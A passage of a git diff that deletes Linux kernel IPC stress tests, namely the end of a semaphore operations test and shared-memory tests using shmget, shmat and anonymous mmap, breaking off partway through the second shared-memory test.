-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	expected_value = 1;
-	arg.val = 0;
-	if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-		sys_error("semctl (GETVAL) failed", __LINE__);
-	if (val != expected_value)
-		error("incorrect semaphore value", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 9  --- semval = 7, sem_op[0] = -8, sem_flg = 0              */
-	/*           --- semval < |semop| && ! IPC_NOWAIT, caller sleeps      */
-	/*           --- "child" is awaken via a signal.  AFTER AWAKENING,    */
-	/*           --- semval > |sem_op| THEN (semval - |sem_op|) = 1       */
-	/*         THE FOLLOWING SHOULD SHOW semval = 7                       */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(7, -8, "0", "Sleep (until signaled)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 1;
-		semoparray[0].sem_op = -8;
-		semoparray[0].sem_flg = 0;
-
-		if (semop(semid, semoparray, 1) >= 0)
-			error("semop did not return EINTR", __LINE__);
-		else if (errno != EINTR) {
-			printf("semop returned: %d\n", errno);
-			sys_error("semop failed", __LINE__);
-		}
-		exit(0);
-	} else if (pid < (pid_t) 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 1, GETNCNT, arg))
-		sleep(1);
-
-	kill(pid, SIGUSR1);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	expected_value = 7;
-	arg.val = 0;
-	if ((val = semctl(semid, 1, GETVAL, arg)) < 0)
-		sys_error("semctl (GETVAL) failed", __LINE__);
-	if (val != expected_value)
-		error("incorrect semaphore value", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 10 --- semval = 1, sem_op[3] = -3, sem_flg = 0              */
-	/*           --- semval < |semop| && ! IPC_NOWAIT, caller sleeps      */
-	/* call #1   --- semval = 1, sem_op[3] =  5, sem_flg = 0              */
-	/*           --- sem_op > 0 THEN (semval + sem_op) = 6                */
-	/* call #2   --- semval = 6, sem_op[3] =  5, sem_flg = SEM_UN         */
-	/*           --- sem_op > 0 && SEM_UN, THEN                           */
-	/*           ---               THEN (semval + sem_op) = 11            */
-	/*           --- "child" is awaken via call #2.                       */
-	/*           --- semval < |semop (-3)| THEN semval = 8                */
-	/*         THE FOLLOWING SHOULD SHOW semval = 8                       */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(1, 5, "SEM_UNDO",
-		    "Sleep (until resource becomes available)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 0;
-		semoparray[0].sem_op = -3;
-		semoparray[0].sem_flg = 0;
-
-		if (semop(semid, semoparray, 1) < 0)
-			sys_error("semop failed", __LINE__);
-		exit(0);
-	} else if (pid < (pid_t) 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 0, GETNCNT, arg))
-		sleep(1);
-
-	semoparray[0].sem_num = 0;
-	semoparray[0].sem_op = 5;
-	semoparray[0].sem_flg = 0;
-	if (semop(semid, semoparray, 1) < 0)
-		sys_error("semop failed", __LINE__);
-
-	semoparray[0].sem_num = 0;
-	semoparray[0].sem_op = 5;
-	semoparray[0].sem_flg = SEM_UNDO;
-	if (semop(semid, semoparray, 1) < 0)
-		sys_error("semop failed", __LINE__);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	expected_value = 8;
-	arg.val = 0;
-	if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-		sys_error("semctl (GETVAL) failed", __LINE__);
-	if (val != expected_value)
-		error("incorrect semaphore value", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 11 --- semval = 7, sem_op[3] = -8, sem_flg = 0              */
-	/*           --- semval < |semop| && ! IPC_NOWAIT, caller sleeps      */
-	/*           --- "child" is awaken via removal of semaphores          */
-	/*         THE FOLLOWING SHOULD SHOW now be destroyed                 */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(7, -8, "0", "Sleep (until semaphores are removed)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 2;
-		semoparray[0].sem_op = -8;
-		semoparray[0].sem_flg = 0;
-
-		if (semop(semid, semoparray, 1) >= 0)
-			error("semop did not return ERMID", __LINE__);
-		else if (errno != EIDRM) {
-			printf("semop returned: %d\n", errno);
-			sys_error("semop failed", __LINE__);
-		}
-		exit(0);
-	} else if (pid < (pid_t) 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before deleting the
-	 * semaphores...
-	 */
-	while (!semctl(semid, 2, GETNCNT, arg))
-		sleep(1);
-
-	arg.val = 0;
-	if (semctl(semid, 0, IPC_RMID, arg) < 0)
-		sys_error("semctl (IPC_RMID) failed", __LINE__);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/*        IPC_RMID DESTROYED THE SEMAPHORE STRUCTURES.                */
-	/*        THEREFORE:  REBUILD A SEMAPHORE STRUCTURE SET.              */
-	/* ------------------------------------------------------------------ */
-	/*
-	 * Create the semaphores...
-	 */
-	if ((semid = semget(IPC_PRIVATE, nsems, IPC_CREAT | mode)) < 0)
-		sys_error("semget (IPC_PRIVATE) failed", __LINE__);
-
-	/*
-	 * Set the semaphore uid, gid and mode
-	 */
-	arg.buf = (struct semid_ds *)calloc(1, sizeof(struct semid_ds));
-	if (!arg.buf)
-		error("calloc failed", __LINE__);
-	arg.buf->sem_perm.uid = uid;
-	arg.buf->sem_perm.gid = gid;
-	arg.buf->sem_perm.mode = mode;
-	if (semctl(semid, 0, IPC_SET, arg) < 0)
-		sys_error("semctl failed", __LINE__);
-
-	/*
-	 * Verify that semaphore uid, gid and mode were set correctly
-	 */
-	if (semctl(semid, 0, IPC_STAT, arg) < 0)
-		sys_error("semctl (IPC_STAT) failed", __LINE__);
-	if (arg.buf->sem_perm.uid != uid)
-		error("semctl: uid was not set", __LINE__);
-	if (arg.buf->sem_perm.gid != gid)
-		error("semctl: gid was not set", __LINE__);
-	if ((arg.buf->sem_perm.mode & 0777) != mode)
-		error("semctl: mode was not set", __LINE__);
-	if (arg.buf->sem_nsems != nsems)
-		error("semctl: nsems (number of semaphores) was not set",
-		      __LINE__);
-	SAFE_FREE(arg.buf);
-
-	arg.array = malloc(sizeof(int) * nsems);
-	if (!arg.array)
-		error("malloc failed", __LINE__);
-	for (i = 0; i < nsems; i++)
-		arg.array[i] = 9;
-	if (semctl(semid, 0, SETALL, arg) < 0)
-		sys_error("semctl (SETALL) failed", __LINE__);
-	SAFE_FREE(arg.array);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 12 --- semval = 9, sem_op = -1, sem_flg = SEM_UN          */
-	/*           --- semval > |sem_op| THEN (semval - |sem_op|) = 8       */
-	/*           ---                   ALSO (semadj = semadj + sem_op)    */
-	/*         THE FOLLOWING SHOULD SHOW semval = 8                       */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(9, -1, "SEM_UNDO", "Obtain resource");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = -1;
-		semoparray[i].sem_flg = SEM_UNDO;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 8;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 13 --- semval = 8, sem_op = -8, sem_flg = SEM_UN          */
-	/*           --- semval = |sem_op| THEN (semval - |sem_op|) = 0       */
-	/*           ---                   ALSO (semadj = semadj + sem_op)    */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(8, -8, "SEM_UNDO", "Obtain resource");
-	for (i = 0; i < nsems; i++) {
-		semoparray[i].sem_num = i;
-		semoparray[i].sem_op = -8;
-		semoparray[i].sem_flg = SEM_UNDO;
-	}
-	if (semop(semid, semoparray, nsems) < 0)
-		sys_error("semop failed", __LINE__);
-
-	expected_value = 0;
-	for (i = 0; i < nsems; i++) {
-		arg.val = 0;
-		if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-			sys_error("semctl (GETVAL) failed", __LINE__);
-		if (val != expected_value)
-			error("incorrect semaphore value", __LINE__);
-	}
-
-	arg.array = malloc(sizeof(int) * nsems);
-	if (!arg.array)
-		error("malloc failed", __LINE__);
-	for (i = 0; i < nsems; i++)
-		arg.array[i] = 9;
-	if (semctl(semid, 0, SETALL, arg) < 0)
-		sys_error("semctl (SETALL) failed", __LINE__);
-	SAFE_FREE(arg.array);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 14 --- semval = 9, sem_op[4] = 0, sem_flg = 0               */
-	/*           --- semval != 0 && ! IPC_NOWAIT     caller sleeps        */
-	/*           ---                   ALSO  ++semzcnt                    */
-	/*           --- "child" is awaken via a signal.                      */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(9, 0, "0", "Sleep (until signaled)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == 0) {
-		semoparray[0].sem_num = 0;
-		semoparray[0].sem_op = 0;
-		semoparray[0].sem_flg = 0;
-
-		if (semop(semid, semoparray, 1) >= 0)
-			error("semop did not return EINTR", __LINE__);
-		else if (errno != EINTR) {
-			printf("semop returned: %d\n", errno);
-			sys_error("semop failed", __LINE__);
-		}
-		exit(0);
-	} else if (pid < 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 0, GETZCNT, arg))
-		sleep(1);
-
-	kill(pid, SIGUSR1);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	expected_value = 9;
-	arg.val = 0;
-	if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-		sys_error("semctl (GETVAL) failed", __LINE__);
-	if (val != expected_value)
-		error("incorrect semaphore value", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 15 --- semval = 9, sem_op[0] = 0, sem_flg = 0               */
-	/*           --- semval != 0 && ! IPC_NOWAIT     caller sleeps     */
-	/*           ---                   ALSO  ++semzcnt                    */
-	/* call #1   --- semval = 9, sem_op[0] = -9, sem_flg = 0              */
-	/*           ---    THEN (semval - |sem_op|) = 0 and  --semzcnt       */
-	/*           --- "child" is awaken via call #1.                       */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(9, 0, "0", "Sleep (until resource becomes available)");
-	/*
-	 * Child process
-	 */
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 0;
-		semoparray[0].sem_op = 0;
-		semoparray[0].sem_flg = 0;
-		if (semop(semid, semoparray, 1) < 0)
-			sys_error("semop failed", __LINE__);
-		exit(0);
-	} else if (pid < (pid_t) 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 0, GETZCNT, arg))
-		sleep(1);
-
-	semoparray[0].sem_num = 0;
-	semoparray[0].sem_op = -9;
-	semoparray[0].sem_flg = 0;
-
-	if (semop(semid, semoparray, 1) < 0)
-		sys_error("semop failed", __LINE__);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-
-	expected_value = 0;
-	arg.val = 0;
-	if ((val = semctl(semid, 0, GETVAL, arg)) < 0)
-		sys_error("semctl (GETVAL) failed", __LINE__);
-	if (val != expected_value)
-		error("incorrect semaphore value", __LINE__);
-
-	/* ------------------------------------------------------------------ */
-	/* TEST # 16 --- semval = 4, sem_op[4] = 0, sem_flg = 0               */
-	/*           --- semval != 0 && ! IPC_NOWAIT     caller sleeps     */
-	/*           ---                   ALSO  ++semzcnt                    */
-	/*           --- "child" is awaken via removal of semaphores          */
-	/* ------------------------------------------------------------------ */
-	SEMOP_TABLE(4, 0, "0", "Sleep (until semaphores are removed)");
-	/*
-	 * Child process
-	 */
-	arg.val = 4;
-	if (semctl(semid, 4, SETVAL, arg) < 0)
-		sys_error("semctl (SETALL) failed", __LINE__);
-
-	if ((pid = fork()) == (pid_t) 0) {
-		semoparray[0].sem_num = 4;
-		semoparray[0].sem_op = -8;
-		semoparray[0].sem_flg = 0;
-
-		if (semop(semid, semoparray, 1) >= 0)
-			error("semop did not return ERMID", __LINE__);
-		else if (errno != EIDRM) {
-			printf("semop returned: %d\n", errno);
-			sys_error("semop failed", __LINE__);
-		}
-		exit(0);
-	} else if (pid < 0) {
-		sys_error("fork failed", __LINE__);
-	}
-
-	/*
-	 * Wait for child process's semaphore request before proceeding...
-	 */
-	while (!semctl(semid, 4, GETNCNT, arg))
-		sleep(1);
-
-	arg.val = 0;
-	if (semctl(semid, 0, IPC_RMID, arg) < 0)
-		sys_error("semctl (IPC_RMDI) failed", __LINE__);
-
-	waitpid(pid, &status, 0);	/* Wait for child to complete */
-	if (WEXITSTATUS(status))
-		sys_error("child process terminated abnormally", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-p] nproc: number of child processes                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((opt = getopt(argc, argv, "s:p:")) != EOF) {
-		switch (opt) {
-		case 's':
-			nsems = atoi(optarg);
-			break;
-		case 'p':
-			nprocs = atoi(optarg);
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (nsems >= MAX_SEMAPHORES) {
-		errflag++;
-		fprintf(stderr, "ERROR: nsems must be less than %d\n",
-			MAX_SEMAPHORES);
-	}
-	if (nprocs >= MAX_CHILDREN) {
-		errflag++;
-		fprintf(stderr, "ERROR: nproc must be less than %d\n",
-			MAX_CHILDREN);
-	}
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_signal_handler ()                     |
-| ==================================================================== |
-|                                                                      |
-| Function:  Sets up signal handler for SIGUSR1 signal                 |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void setup_signal_handler()
-{
-	struct sigaction sigact;
-
-	sigact.sa_flags = 0;
-	sigfillset(&sigact.sa_mask);
-
-	/*
-	 * Establish the signal handler for SIGUSR1
-	 */
-	sigact.sa_handler = (void (*)(int))catch;
-	if (sigaction(SIGUSR1, &sigact, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             catch ()                                 |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function for SIGUSR1                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void catch(int sig)
-{
-	char err_msg[256];
-	pid_t pid = getpid();
-
-	if (sig == SIGUSR1) {
-		if (pid == parent_pid)
-			printf
-			    ("\t\t\t\t    <<< caught signal (SIGUSR1, %d) >>>\n",
-			     sig);
-	} else {
-		sprintf(err_msg, "caught unexpected signal (%d)", sig);
-		error(err_msg, __LINE__);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR pid %d [line: %d] %s\n", errpid, line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_01.c b/testcases/kernel/ipc/ipc_stress/shmem_test_01.c
deleted file mode 100644
index a7132e1..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_01.c
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_01                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Simplistic test to verify the shmem system function    |
-|               calls.                                                 |
-|                                                                      |
-|                                                                      |
-| Algorithm:    o  Obtain a unique shared memory identifier with       |
-|                  shmget ()                                           |
-|               o  Map the shared memory segment to the current        |
-|                  process with shmat ()                               |
-|               o  Index through the shared memory segment             |
-|               o  Release the shared memory segment with shmctl ()    |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               shmget () - Gets shared memory segments                |
-|               shmat () - Controls shared memory operations           |
-|               shmctl () - Attaches a shared memory segment or mapped |
-|                           file to the current process                |
-|                                                                      |
-| Usage:        shmem_test_01                                          |
-|                                                                      |
-| To compile:   cc -o shmem_test_01 shmem_test_01.c                    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/8/94 00:08:30                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     111593  DJK   Initial version for AIX 4.1                 |
-|    1.2     020794  DJK   Moved to "prod" directory                   |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <errno.h>
-#include <sys/shm.h>
-
-/* Defines
- *
- * MAX_SHMEM_SIZE: maximum shared memory segment size of 256MB
- * (reference 3.2.5 man pages)
- *
- * DEFAULT_SHMEM_SIZE: default shared memory size, unless specified with
- * -s command line option
- *
- * SHMEM_MODE: shared memory access permissions (permit process to read
- * and write access)
- *
- * USAGE: usage statement
- */
-#define MAX_SHMEM_SIZE		256*1024*1024
-#define DEFAULT_SHMEM_SIZE	1024*1024
-#define	SHMEM_MODE		(SHM_R | SHM_W)
-#define USAGE	"\nUsage: %s [-s shmem_size]\n\n" \
-		"\t-s shmem_size  size of shared memory segment (bytes)\n" \
-		"\t               (must be less than 256MB!)\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-void parse_args(int, char **);
-void sys_error(const char *, int);
-void error(const char *, int);
-
-/*
- * Global variables
- *
- * shmem_size: shared memory segment size (in bytes)
- */
-int shmem_size = DEFAULT_SHMEM_SIZE;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int shmid;		/* (Unique) Shared memory identifier */
-	char *shmptr,		/* Shared memory segment address */
-	*ptr,			/* Index into shared memory segment */
-	 value = 0;		/* Value written into shared memory segment */
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	/*
-	 * Obtain a unique shared memory identifier with shmget ().
-	 * Attach the shared memory segment to the process with shmat (),
-	 * index through the shared memory segment, and then release the
-	 * shared memory segment with shmctl ().
-	 */
-	printf("\n\tGet shared memory segment (%d bytes)\n", shmem_size);
-	if ((shmid = shmget(IPC_PRIVATE, shmem_size, SHMEM_MODE)) < 0)
-		sys_error("shmget failed", __LINE__);
-
-	printf("\n\tAttach shared memory segment to process\n");
-	if ((shmptr = shmat(shmid, 0, 0)) < 0)
-		sys_error("shmat failed", __LINE__);
-
-	printf("\n\tIndex through shared memory segment ...\n");
-	for (ptr = shmptr; ptr < (shmptr + shmem_size); ptr++)
-		*ptr = value++;
-
-	printf("\n\tRelease shared memory\n");
-	if (shmctl(shmid, IPC_RMID, 0) < 0)
-		sys_error("shmctl failed", __LINE__);
-
-	/*
-	 * Program completed successfully -- exit
-	 */
-	printf("\nsuccessful!\n");
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-s] size: shared memory segment size                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void parse_args(int argc, char **argv)
-{
-	int i;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	while ((i = getopt(argc, argv, "s:?")) != EOF) {
-		switch (i) {
-		case 's':
-			shmem_size = atoi(optarg);
-			break;
-		case '?':
-			errflag++;
-			break;
-		}
-	}
-
-	if (shmem_size < 1 || shmem_size > MAX_SHMEM_SIZE)
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/shmem_test_02.c b/testcases/kernel/ipc/ipc_stress/shmem_test_02.c
deleted file mode 100644
index 47d7ddb..0000000
--- a/testcases/kernel/ipc/ipc_stress/shmem_test_02.c
+++ /dev/null
@@ -1,428 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                           shmem_test_02                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Verify anonymous shared memory mapping, with exclusive |
-|               writes and shared reads                                |
-|                                                                      |
-| Algorithm:    o  Obtain two shared memory segments using             |
-|                  mmap (MAP_ANON), one for random data created by the |
-|                  the parent, and another for the childs checksums    |
-|               o  Spawn N child processes                             |
-|               o  Parent:                                             |
-|                     - obtain write lock on data                      |
-|                     - fill shared memory segment with data           |
-|                     - compute data checksum                          |
-|                     - release lock                                   |
-|               o  Child:                                              |
-|                     - obtain read lock on data                       |
-|                     - compute data checksum                          |
-|                     - release lock                                   |
-|                     - store checksum in other shared memory segment  |
-|               o  Parent:                                             |
-|                     - wait for child proceeses to complete           |
-|                     - compare child's checksum (from shared memory)  |
-|                       with that of the parent                        |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               mmap () - Maps a file-system object into memory        |
-|                                                                      |
-| Usage:        shmem_test_02 [-c num_children] [-s shmem_size]        |
-|                                                                      |
-| To compile:   cc -o shmem_test_02 shmem_test_02.c -lbsd              |
-|                                                                      |
-|**********************************************************************|
-|******!!!!!! LINUX PORT - must be using kernel >= 2.4.3  !!!!!!*******|
-|**********************************************************************|
-|                                                                      |
-| Last update:   Ver. 1.2, 2/8/94 00:08:39                             |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     111593  DJK   Initial version for AIX 4.1                 |
-|    1.2     020794  DJK   Moved to "prod" directory                   |
-|    1.3     060601  VHM   "ported" to linux                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <limits.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <sys/file.h>
-#include <sys/mman.h>
-#include <sys/types.h>
-#include <sys/signal.h>
-#include <sys/wait.h>
-
-/* Defines
- *
- * USAGE: usage statement
- */
-#define LOCK_FILE "lockfile"
-#define NLOOPS		20
-#define	SHMEM_MODE	(SHM_R | SHM_W)
-#define USAGE	"\nUsage: %s [-c num_children] [-s shmem_size]\n\n" \
-		"\t-c num_children   number of child processes to spawn\n" \
-		"\t-s shmem_size     size of shared memory segment (bytes)\n" \
-		"\t                  (must be less than 256MB!)\n\n"
-
-#define GOTHERE printf("got to line %d\n", __LINE__);
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-
-struct data {
-	int who;
-	int value;
-};
-
-void cleanup();
-void handler(int, int, struct sigcontext *);
-void setup_signal_handlers();
-static void child(int, unsigned char *);
-static int create_lock_file(char *);
-static void unlock_file(int);
-static void write_lock(int);
-static void read_lock(int);
-void parse_args(int, char **);
-void sys_error(const char *, int);
-void error(const char *, int);
-void loop(int, char);
-void tell(int, char *);
-
-enum { READ, WRITE };		/* Pipe read & write end indices */
-enum { PARENT, CHILD };		/* Pipe read & write end indices */
-
-#define MAX_CHILDREN		400
-#define BUFFER_SIZE		50
-#define DEFAULT_NUM_CHILDREN	2
-#define DEFAULT_SHMEM_SIZE	100000
-
-int num_children = DEFAULT_NUM_CHILDREN;
-int buffer_size = DEFAULT_SHMEM_SIZE;
-
-unsigned long *checksum;	/* Shared memory segment address */
-int lockfd;
-pid_t parent_pid;
-pid_t pid[MAX_CHILDREN];
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	unsigned char *shmptr,	/* Shared memory segment address */
-	 value = 0;		/* Value written into shared memory segment */
-	int i;
-	unsigned char *ptr;
-	int status;
-	int shmem_size;
-	unsigned long cksum;
-
-	lockfd = create_lock_file(LOCK_FILE);
-	setup_signal_handlers();
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Shared Memory TestSuite program\n", *argv);
-
-	parent_pid = getpid();
-	for (i = 0; i < num_children; i++)
-		pid[i] = (pid_t) 0;
-
-	/*
-	 * Get chunk of shared memory for storing num_children checksum
-	 */
-	shmem_size = sizeof(unsigned long) * num_children;
-	if ((checksum = (unsigned long *)
-	     mmap(0, shmem_size, PROT_READ | PROT_WRITE,
-		  MAP_ANON | MAP_SHARED, -1, 0)) == MAP_FAILED)
-		sys_error("mmap failed", __LINE__);
-
-	for (i = 0; i < num_children; i++)
-		*(checksum + (sizeof(unsigned long) * i)) = 0;
-
-	/*
-	 * Get chunk of memory for writing scratch data
-	 */
-	printf("\n\tGet shared memory segment (%d bytes)\n", buffer_size);
-	if ((shmptr = mmap(0, buffer_size, PROT_READ | PROT_WRITE,
-			   MAP_ANON | MAP_SHARED, -1, 0)) == MAP_FAILED)
-		sys_error("mmap failed", __LINE__);
-
-	/*
-	 * Parent:
-	 *
-	 * Fill buffer with data..
-	 */
-	cksum = value = 0;
-
-	printf("\n\tParent: calculate shared memory segment checksum\n");
-	write_lock(lockfd);
-	for (ptr = shmptr; ptr < (shmptr + buffer_size); ptr++) {
-		*ptr = (value++) % (UCHAR_MAX + 1);
-		cksum += *ptr;
-	}
-	unlock_file(lockfd);
-	printf("\t        shared memory checksum %08lx\n", cksum);
-
-	printf("\n\tSpawning %d child processes ... \n", num_children);
-	for (i = 0; i < num_children; i++) {
-
